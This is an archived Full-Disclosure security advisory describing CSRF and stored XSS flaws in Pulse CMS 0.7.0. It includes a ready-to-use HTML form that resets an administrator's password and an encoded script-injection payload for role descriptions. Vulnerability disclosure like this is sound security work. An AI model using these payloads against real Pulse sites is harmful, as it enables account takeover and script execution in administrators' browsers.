lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <CAA0JNpRM-SJ_uyY=nOTxRRJrHa09TUE+QJzPqOEdPgbxROeGaw@mail.gmail.com> Date: Mon, 4 Apr 2016 12:10:54 +0800 From: xiong piaox <yahoo860201@...il.com> To: fulldisclosure@...lists.org Cc: submit@...sec.com Subject: [FD] Pulse CMS Multiple Vulnerabilities Pulse CMS Multiple Vulnerabilities 1、Description Exploit Title: Multiple Vulnerabilities in pulse 0.7.0 final Date: 4-01-2016 Vendor Homepage: http://pulse.torweg.org/site/Pulsar/en_US.CMS.displayCMS.13./pulse---the-java-web-application-framework Vendor: pulse Software: Content Management System Version: version: pulse 0.7.0 final (build r2074) 2、Product Summary ================ An open source portal solution in Java. pulse delivers a set of out-of-the-box components, e.g. CMS, shopping, user management. Moreover pulse is a framework on top of the Servlet API providing easy to use and easy to extend patterns for creating browser based applications and websites. Key features: * Cross-platform, implemented using Java technology. * Completely written using Java 5. * Provides a framework for quick development of own applications. * Is delivered with a host of out-of-the-box applications: CMS, Shop, Surveys, Filters and many more. * A WebDAV based virtual file system for digital asset management. * Mature user and role management * Easy-to-use administration interface based on AJAX (using Ext JS) * Built for internationalisation * Flexible templating with XSLT 2.0/XPath 2.0 3、Vulnerabilities ================ 1)、CSRF Vulnerability Change Password exists csrf Vulnerability : CSRF POC: <html> <!-- CSRF PoC --> <body> <form action="http://127.0.0.1:8080/pulse/Pulsar/en_US.Core.changePasswordUserEditor._pGv8I9wIR7MWaiSJ5xxXkK39PElR9vlXaJmvG8sYkUDxDm0dmFdG3oTt0Py3gWJ7kTPl3ZJiVsc5V7sxt1yYm./" method="POST"> <input type="hidden" name="id" value="1" /> <input type="hidden" name="pwd" value="admin888" /> <input type="hidden" name="cnf" value="admin888" /> <input type="submit" value="Submit request" /> </form> </body> </html> 2)、Stored XSS Vulnerability Stored Xss vulnerability exists in the description of the Roles overview、Users overview、Groups overview. POC: http://127.0.0.1:8080/pulse/Pulsar/en_US.Core.saveRoleEditor._GazoEzD0fQ9eqgjVtVmQUcR0AcE4uyFhxaFI0jWHL6NgzAOsYWxRikIik5cnewt4J6Tjc8DpHFC9rGglGWXaeT./ id=4&description=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E 4、Discovered by ================ piaox xiong – xiongyaofu351@...gan.com.cn _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists